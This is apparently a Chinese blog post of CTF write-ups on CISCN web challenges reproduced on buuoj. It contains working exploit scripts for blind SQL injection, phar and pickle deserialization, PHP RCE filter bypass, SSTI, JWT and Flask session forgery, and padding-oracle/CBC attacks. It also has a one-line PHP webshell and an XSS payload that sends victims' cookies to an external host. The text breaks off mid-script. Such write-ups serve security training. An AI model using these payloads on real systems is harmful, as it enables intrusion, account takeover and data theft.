抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

原来国赛就是CISCN……buuoj上题目挺全的,干脆选一些比较有价值的题目复现下:

Hack World(盲注)

简单的布尔盲注题,简单FUZZ一下发现是数值型注入。同时过滤了and,or,union空格等等。回显可以判断正误,考虑是布尔盲注。payload直接用if分流即可。空格可以%0a绕过,也可以直接括号括起来(之前总结过)

exp:

import requests

#flag{3de016a6-fb79-4b56-a2fb-ea24bc26083f}
url='http://18733385-8c1b-4df7-88f0-1fb70bb6c05b.node3.buuoj.cn/index.php'
flag=''
for i in range(1,50):
    print(i)
    a=0
    for j in range(32,128):
        payload="if(ascii(substr((select%0aflag%0afrom%0aflag),"+str(i)+",1))="+str(j)+",1,2)"
        data = {
            'id': payload
        }
        res=requests.post(url,data=data)
        if 'Hello' in res.text:
            flag+=chr(j)
            print(flag)
            a=1
            break
    if a==0:
        break

Dropbox(phar反序列化)

题目属于php反序列化。感觉国赛的题目确实质量很高,这里的反序列化利用看了源码不少时间才找出利用。赶紧记录下。
首先进来注册账号登陆。发现有文件上传点。顺手传个一句话图片马,发现没有过滤。然后提供了对图片的下载与删除功能。此时依次尝试一下,发现下载功能的filename允许任意文件下载,于是直接拿到index.php的源码,接着可以拿到其他关键源码,发现是php反序列化,开始审计。
index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php echo $_SESSION['username']?>

<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

审计源码第一反应首先是sql注入。但是随即发现不存在可控参数,所以注入无果。接下来重心放在反序列化上。首先需要明确的是,我们源码中并不存在unserialize()函数,但是我们有文件上传点。所以反序列化需要通过上传phar文件并进行phar://伪协议触发。

接下来寻找常见文件读取函数,注意到File类file_get_contents()方法

public function close() {
    return file_get_contents($this->filename);
}

确定是可以进行文件读取了。接下来挖掘一下函数的调用。首先close()是File类的方法,而File类只在Filelist类中有调用过。但Filelist中并没有调用close()方法的位置。此时需要注意Filelist类中的两个魔术方法之一:

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

它将Filelist类中的files数组全部遍历了一遍,并执行对应的func()结果被存进result。之后的__destruct()方法则会将result等等结果打印出来。
这一条利用在于:确保了Filelist的对象如果能借此魔术方法调用close()方法,那么它最后销毁时析构函数会打印出我们需要的文件内容。
之后再次审计,注意到User类的__destruct()方法

public function __destruct() {
        $this->db->close();
    }

原本只是一个同名close()函数,但是此处却存在着可利用之处。假如我们的文件上传的是User类的对象。销毁时自然会执行close()函数。但如果把db设置为Filelist类的对象,那么db->close()执行时将找不到close()函数,进而执行其files数组里的每一个函数。那么如果files数组里是存在同名函数close的File类对象,就能成功执行文件读取。
找到利用链后,exp如下:

<?php
class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}


@unlink("phar.phar");
$phar = new Phar("a.phar"); 
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

生成的a.phar修改后缀上传,之后需要找触发方式,此处需要注意一点,在download.php中,设置了目录:

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

而只有delete.php中的目录是在题目给定的文件上传沙盒中的:

chdir($_SESSION['sandbox']);

故只有delete操作能直接phar://触发反序列化。
flag

(这里的文件读取flag.txt是传统艺能?每次题目都没交代)

ikun(python反序列化)

结合了很多知识点的一道题目,但是最后一步的python反序列化确实不会,只好去找了找wp。(本来之前打算学下python反序列化的,结果搞忘了hhh)

首先登陆题目发现在迫害cxk,同时底下有许多商品提示需要购买lv6的商品。但是看了半天前几页并没找到lv6商品,由于页数page直接get传值,看来需要脚本爆破一下:

import requests
url='http://2c771d3e-86f0-4f72-9815-f19dcb4fd51a.node3.buuoj.cn/shop?page='

for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
        print (i)
        break

之后发现lv6商品,加入到购物车后,准备注册账号并登录购买。显然钱数是不够的,但是却有折扣这一参数被直接post传值。那么修改其值足够小即可。得到一个目录b1g_m4mber。应该是后台地址。
访问网址提示需要admin操作权限。这里抓包一下,发现cookie里居然有JWT。看来是比较常见的JWT伪造认证了。
(之前在hackthebox某一台靶机中就存在仿造JWT登录的操作,应该说并不难,而且比较好理解)
先拿来base64解码,发现存在乱码。可能是因为加了盐值key的原因。那么第一步先爆破下key值:
https://github.com/brendan-rius/c-jwt-cracker
1.PNG
得到JWTKey 为1Kun,接下来上https://jwt.io/
去生成admin的jwt token.
jwt伪造
可以看到jwt-token一定是xxx.yyy.zzz的形式。且三段各自代表header,paylaod,signature的json数据内容经base64处理。爆破key值修改paylload为admin也是家常便饭。
控制台里修改

document.cookie="JWT=xxxxxxxxxxx"

成功登陆。

之后发现源码存在www.zip。可以拿到源码。然后我就不会了…….
查wp后发现是python反序列化。具体漏洞在Admin.py:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become可控。
这里其实可以把pickle.loads的操作理解为反序列化。而__reduce__这一魔术方法会在对象被pickle时调用。从而可以构造payload:

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a= urllib.quote(a)
print(a)

这里我的exp在本机跑出来结果不知为何是错的。只有用kali才跑出正确的结果
exp
传值拿flag
flag

Love Math(构造RCE)

源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

题目很有意思,达成目的显然是RCE。但是可以发现过滤了很多字符与函数,限制了长度。而白名单内的函数全部是数学函数,黑名单的字符过滤了常见标点。现在要达成RCE需要绕过上的奇淫技巧。

首先有一种思路是分开传值 ,我个人也比较偏好这种做法。具体形式大致是

?c=$_GET[a]&a=system('ls');

但是此题首先变量名不能随意,只能从白名单中找出可用数学符号作为变量名。此处考虑长度使用pi。
然后是考虑,在_GET[]被过滤的情况下能使用什么数学函数达成构造字符串的目的。这里应该首先考虑进制转换函数,因为10进制以上的数都有英文字母作为数码。而假如是36进制数的话,将会拥有1~10加上26个英文字母作为数码,这足以我们拼凑出payload。
假如payload是:

?c=($_GET){0}($_GET){1};&0=system&1=cat /flag

那么我们只需构造出_GET字符串。
具体倒推方法如下:

_GET->bin2hex('_GET')->5f474554
->hexdec('5f474554')->1598506324#纯数字
#需要构造hex2bin()
base_convert('hex2bin',36,10)->37907361743

所以

$pi=base_convert(37907361743,10,36)(dechex(1598506324));
$pi=hex2bin(5f474554);
$pi=_GET;
$$pi=$_GET;

故最后payload

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

flag
除此之外还可以构造

exec(getallheaders(){1})

在headers里加上

1:cat /flag

这一项执行

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

由于结果是echo返回的,上面使用逗号可以将两个结果都打印出来。
其他思路包括直接构造RCE语句,但是感觉没有上面的方法用起来舒服。看到网上还有其他非常有意思的解法,就不一一列举了。

CyberPunk(二次注入)

上来index.php中给了姓名,电话,地址三个框来填。同时还有三个功能:查询,修改,删除。由于查询这一个操作都只要姓名电话,我猜测剩下的地址这个参数可能是通过输入姓名电话对地址进行某种触发式注入。基本可以猜测是sql注入题型。

从源码处得到一个file参数。果断文件包含读到源码:
index.php

<?php

ini_set('open_basedir', '/var/www/html/');

$file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

审计源码后重点关注address有无注入,发现题目都只对前两个参数进行了过滤,并未检查address。同时address只经过了一次addslashes()就被存储,这是经典的二次注入的使用场景。加上触发方式:

if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;

回显以error的形式被打印出来,证明我们需要使用报错注入。
具体形式是,我们提交姓名,电话,地址三个参数,并在地址使用报错注入。之后在change.php再次提交相同姓名电话与随便写地址,即可触发update执行报错注入。根据update语句构造payload:

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

貌似题目flag不在库里,看wp发现是/flag.txt。有点迷惑。需要注意报错注入字段数的限制,调整substr()的后两个参数。

Easyweb(布尔盲注)

开始从robots.txt得到的image.php.bak的源码泄露信息

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

发现有sql注入点,主要要应对两个参数的过滤

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

考虑使用\0,并在path中注入。这样我们的sql语句就变成了:

select * from images where id=' or path=' or 1=1#

剩下的布尔盲注即可

import requests

flag=''


for i in range(1,50):
    a=0
    print(i)#ciscnfinal, images,users
    for j in range(32, 128):#select group_concat(column_name) from information_schema.columns where table_name=database()
        #url = "http://b086efbf-5393-4974-b79d-0608047a11b0.node3.buuoj.cn/image.php?id=\\0&path=or%20id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),"+str(i)+",1))="+str(j)+",1,0)%23"
        url = "http://b086efbf-5393-4974-b79d-0608047a11b0.node3.buuoj.cn/image.php?id=\\0&path=or%20id=if(ascii(substr((select group_concat(password) from users),"+str(i)+",1))="+str(j)+",1,0)%23"
        res = requests.get(url)
        if 'JFIF' in res.text:
            flag += chr(j)
            print(flag)
            a = 1
            break
    if a==0:
        break

注入得到username与password登录进入后台。发现一个文件上传点。简单fuzz下发现文件名会被存储到固定php日志文件中logs/upload.b888aaa68e9659c297c4b02084157cff.log.php
既然如此只需上传一句话。发现php关键字被拦。
使用短标签绕过:

<?=@eval($_GET['byc']);?>

这是因为

//php.ini中
short_open_tag = On

//除<?php ?>,可使用更灵活的调用方法
<? /*程序操作*/ ?>
<?=/*函数*/?>

bypass掉后执行命令system('cat /flag');即可

华东南赛区 Web11(模板注入)

这题开始看的我贼奇怪,因为整个网站貌似只是一个api接口。其中回显有一部分十分显眼
xff
开始考虑是否存在关于xff头的信息。但是没测出来。去网上搜了波wp恍然大悟。原来关键点在网页下方提示的Build With Smarty !
Smarty是一种php网页引擎,也存在如pythonjinja2的ssti注入。

同时其使用方法如{if cmd}{/if}可以执行命令。
所以首先bp里更改xff包,尝试2,发现注入成功;
之后直接任意命令执行即可拿到flag

{file_get_contents('/flag')}

flag

华东北赛区 Web2(存储型xss+sql注入)

题目算是比较传统的xss触发模式了。注册登录后一个输入框允许我们使用xsspayload,还有一个界面输入验证码后触发bot阅读。我们目标就是打到admin的cookie。

首先尝试性弹个窗,结果在页面里看到个自己有心理阴影的CSP限制。

<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'">

好在csp规则不算比较严格。因为'unsafe-inline' 'unsafe-eval'允许我们加载一段内联js代码执行。而解决这个的办法只需使用window.location.href就可绕过。这里因为有buuoj提供的xss平台,所以直接用生成的代码打一打看看。发现有过滤与转换,估计得实体编码绕过。
把xss平台生成的payload改成实体编码:(注意id值是生成代码里的id,一开始以为是项目名id半天打不到)

(function(){window.location.href='http://ip:port/index.php?do=api&id=ex0I6K&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
<svg><script>实体编码payload</script>

提交后访问页面,可以看到平台是能收到cookie的,那就不需要关心其他的,直接去反馈页面跑段脚本爆破验证码提交即可。等待bot点击页面,之后平台收到cookie
cookie
修改登录进入admin.php后台,一个明显的sql注入直接联合查询即可。3个字段,回显第2,3个
flag

double secrect (ssti)

基本上唬人的成分比较大。因为一开始进入题目只有一句Welcome To Find Secret,之后访问robots.txt发现居然报this is android ctf,让我以为看错题了。但其实访问secret路由并传参secret时,发现会有回显。当回显字数多的时候出现python报错,可以猜测是ssti。这里我尝试直接传一段中文,其实ascii码比较大的文字也会触发报错,爆出重要源码:
RC4

原来是段加密,而且爆出的源码连key值都给了。那么直接RC4加密我们的ssti payload基本就完事了。
exp:

import requests
import urllib

class RC4:
    def __init__(self, key):
        self.key = key
        self.key_length = len(key)
        self._init_S_box()

    def _init_S_box(self):
        self.Box = [i for i in range(256)]
        k = [self.key[i % self.key_length] for i in range(256)]
        j = 0
        for i in range(256):
            j = (j + self.Box[i] + ord(k[i])) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]

    def crypt(self, plaintext):
        i = 0
        j = 0
        result = ''
        for ch in plaintext:
            i = (i + 1) % 256
            j = (j + self.Box[i]) % 256
            self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
            t = (self.Box[i] + self.Box[j]) % 256
            result += chr(self.Box[t] ^ ord(ch))
        return result

url='http://7318e5d2-ecf4-4961-b115-4f1eb3b11c4a.node3.buuoj.cn/secret?secret='
a = RC4('HereIsTreasure')
cmd="{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)

华东南赛区 Web4 (flask session cookie伪造)

被没必要的情况给浪费了时间……主要是环境问题,心里苦啊。
首先题目给了一个参数可以读取文件,由于路由名称,先看下源码app.py

# encoding:utf-8 
import re, random, uuid, 
urllib from flask 
import Flask, session, request 
app = Flask(__name__) 
random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*233) 
app.debug = True @app.route('/') 
def index(): 
    session['username'] = 'www-data' 
    return 'Hello World! Read somethings' 


@app.route('/read') 
def read(): 
    try: url = request.args.get('url') 
         m = re.findall('^file.*', url, re.IGNORECASE) 
         n = re.findall('flag', url, re.IGNORECASE) 
         if m or n: return 'No Hack' 
            res = urllib.urlopen(url) 
            return res.read() 
    except Exception as ex: 
        print str(ex) 
        return 'no response' 


@app.route('/flag') 
def flag(): 
    if session and session['username'] == 'fuck': 
        return open('/flag.txt').read() 
    else: 
        return 'Access denied' 

if __name__=='__main__': 
    app.run( debug=True, host="0.0.0.0" )

可以看到只要伪造session['username']的值就可以拿到flag了。由于这里的随机数种子SECRECT_KEY很轻松就可以伪造,所以直接上脚本爆破并生成cookie值

import flask_session_cookie_manager2
import random
mac = "02:42:ae:00:d0:09"
random.seed(int(mac.replace(":", ""), 16))
for x in range(1000):
    key = str(random.random() * 233)
    result = flask_session_cookie_manager2.FSCM.decode('eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XljQxQ.zBqq36UiMEIrykW9oqSlvg4wBkw', key)
    if 'error' not in result:
        result[u'username'] = 'fuck'
        print flask_session_cookie_manager2.FSCM.encode(key, str(result))
        exit()

理论上改cookie就完事了,但是我白花了一个多小时,因为虚拟机的py2的环境有问题。期间还发现,原来参数不变时生成的cookie也会因为时间原因而不同。
不同的时间戳导致值不同
当然这并不影响结果。只要是python2理论上就没有问题。
最后还是在vps上跑的脚本才拿到flag……

PointSystem(PaddingOracle+cbc翻转)

题目难度挺大的,前后还拖了不少时间,最后参考了出题人赵师傅的wp才勉强写出来的。其中涉及PaddingOracle+CBC翻转攻击的知识涉及密码学,自己所知甚少,原来也只套过脚本做过一道paddingoracle的题目。所以先把解题过程放一下,抽空把padding oracle等等加密原理理解下。

首先题目从robots.txt中获取信息,进入swagger-ui.html,可以看到有许多api接口的使用。api
一开始尝试能否直接在这个界面进行命令执行,比如注册或者ping之类的。但是发现并不可行。不过我们既然知道有注册接口,直接按照格式利用接口注册一个账号就好了。
注册后尝试登录,却意外发现存在权限不够的问题。

权限
但是在burpsuite中意外发现了除了一个登录的post包,还有一个get请求了未知的api并返回信息。
info
将登录所返回的一段base64进行解码得到:

{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1ZOzOMzVHlzkkVTuw8vkgQOwMZ2B5Leaq0Gc+rzoKtQdjsiMrpsSBq/QvWKTHYKxBHN0JzlQd6bXhFdSUa4slA7g==","role":3,"user_id":1,"payload":"CHAkpjTggDemZY7gzXBvbR2WeXJ47cfj","expire_in":1582905111}

而前面的signed_key也进行base64解码的话,会发现内容由明文+密文组合起来了。说明有可能服务器采取cbc模式加密。我们要做的就是paddingoracle破解出结构并cbc翻转一下。
padding oracleexp:

import time
import requests
import base64
import json

host = "d46d6658-3bdd-48d9-8600-ee320a2a837a.node3.buuoj.cn"



def padding_oracle(key):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)
    signed_key = user_key_json_decode['signed_key']
    signed_key_decoded = base64.b64decode(signed_key)
    url = "http://" + host + "/frontend/api/v1/user/info"

    N = 16

    total_plain = ''
    for block in range(0, len(signed_key_decoded) // 16 - 1):
        print(block)
        token = ''
        get = b""
        cipher = signed_key_decoded[16 + block * 16:32 + block * 16]
        for i in range(1, N+1):
            for j in range(0, 256):
                time.sleep(0.2)
                padding = b"".join([(get[n] ^ i).to_bytes(1, 'little') for n in range(len(get))])
                c = b'\x00' * (16 - i) + j.to_bytes(1, 'little') + padding + cipher
                #print(c)
                token = base64.b64encode(c)
                user_key_json_decode['signed_key'] = token.decode("utf-8")
                header = {'Key': base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))}
                res = requests.get(url, headers=header)
                if '少女' in res.text:
                    print('404 error occured!')
                    time.sleep(15.0)
                    res = requests.get(url, headers=header)
                if res.json()['code'] == 206:
                    get = (j ^ i).to_bytes(1, 'little') + get
                    print(i,get)
                    break

        plain = b"".join([(get[i] ^ signed_key_decoded[block * 16 + i]).to_bytes(1, 'little') for i in range(N)])
        print(plain.decode("utf-8"), "block=%d" % block)
        total_plain += plain.decode("utf-8")
        print(total_plain)

    return total_plain

plain_text = padding_oracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaEVqZjRGRjhTQVV5VjVmS3RqbGhuY2lZV3YrYW9NZi9EV2hvU1laaVFpWTJkanlpV1hJbGNqM2FRTndmajdLNnpvZGwzcUhsb2lPakdxWGhCRTN6UHVTeDMwY2lPdlpMZm5ya2tDZ0ZWRXFRPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoyLCJwYXlsb2FkIjoic3c4SHByRENncFJHRWZwYzMxY29KME1DR1NkRm90SlgiLCJleHBpcmVfaW4iOjE1ODI5ODYwODB9")
print(plain_text)

由于padding需要频繁请求服务器,buu的靶机期间经常出现404。所以我得在每次出现404时sleep十多秒……太难了,跑了快几小时才好。跑完后得到明文结构

{"role":3,"user_id":2,"payload":"sw8HprDCgpRGEfpc31coJ0MCGSdFotJX","expire_in":1582986080}

既然如此,把role改为1应该就可以解决权限问题。所以cbc翻转下


import requests
import base64
import json

host = "d46d6658-3bdd-48d9-8600-ee320a2a837a.node3.buuoj.cn"

def cbc_attack(key, block, origin_content, target_content):
    user_key_decode = base64.b64decode(key)
    #print(user_key_decode)
    user_key_json_decode = json.loads(user_key_decode)
    signed_key = user_key_json_decode['signed_key']
    #print(signed_key)
    cipher_o = base64.b64decode(signed_key)
    #print(cipher_o)
    if block > 0:
        iv_prefix = cipher_o[:block * 16]
    else:
        iv_prefix = b''
    iv = cipher_o[block * 16:16 + block * 16]
    cipher = cipher_o[16 + block * 16:]
    iv_array = bytearray(iv)
    for i in range(0, 16):
        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
    iv = bytes(iv_array)
    #print(iv)
    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8')
    return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))


def get_user_info(key):
    r = requests.post("http://" + host +"/frontend/api/v1/user/info", headers={"Key": key})
    if r.json()['code'] == 100:
        print("获取成功!")
    #return r.json()['data']


def modify_role_plain(key, role):
    user_key_decode = base64.b64decode(user_key)
    user_key_json_decode = json.loads(user_key_decode)
    user_key_json_decode['role'] = role
    return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8')).decode('utf-8')

print("翻转 Key:")
